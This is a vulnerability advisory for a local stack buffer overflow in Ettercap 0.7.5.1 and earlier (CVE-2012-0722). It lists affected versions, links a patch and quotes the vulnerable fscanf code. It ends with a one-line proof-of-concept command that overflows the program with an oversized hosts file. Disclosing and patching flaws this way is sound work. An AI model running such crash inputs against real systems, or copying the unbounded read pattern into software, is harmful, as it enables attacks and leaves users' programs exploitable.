Ettercap 0.7.5.1 – Stack Overflow
Title: Ettercap Stack overflow (CWE-121) References: CVE-2012-0722 Discovered by: Sajjad Pourali Vendor: http://www.ettercap.sourceforge.net/ Vendor contact: 13-01-01 21:20 UTC (No response) Solution: Using the patch Patch: http://www.securation.com/files/2013/01/ec.patch Local: Yes Remote: No Impact: low Affected: - ettercap 0.7.5.1 - ettercap 0.7.5 - ettercap 0.7.4 and earlier Not affected: - ettercap 0.7.4.1 --- Trace vulnerable place: ./include/ec_inet.h:27-44 enum { NS_IN6ADDRSZ = 16, NS_INT16SZ = 2, ETH_ADDR_LEN = 6, TR_ADDR_LEN = 6, FDDI_ADDR_LEN = 6, MEDIA_ADDR_LEN = 6, IP_ADDR_LEN = 4, IP6_ADDR_LEN = 16, MAX_IP_ADDR_LEN = IP6_ADDR_LEN, ETH_ASCII_ADDR_LEN = sizeof("ff:ff:ff:ff:ff:ff")+1, IP_ASCII_ADDR_LEN = sizeof("255.255.255.255")+1, IP6_ASCII_ADDR_LEN = sizeof("ffff:ffff:ffff:ffff:ffff:ffff:255.255.255.255")+1, MAX_ASCII_ADDR_LEN = IP6_ASCII_ADDR_LEN, }; ./include/ec_resolv.h:42 #define MAX_HOSTNAME_LEN 64 ./src/ec_scan.c:610-614 char ip[MAX_ASCII_ADDR_LEN]; char mac[ETH_ASCII_ADDR_LEN]; char name[MAX_HOSTNAME_LEN]; ./src/ec_scan.c:633-635 if (fscanf(hf, "%s %s %s\n", ip, mac, name) != 3 || *ip == '#' || *mac == '#' || *name == '#') continue; --- PoC: sudo ruby -e'puts"a"*2000' > overflow && sudo ettercap -T -j overflow --- + Sajjad Pourali + http://www.securation.com + Contact: sajjad[at]securation.com |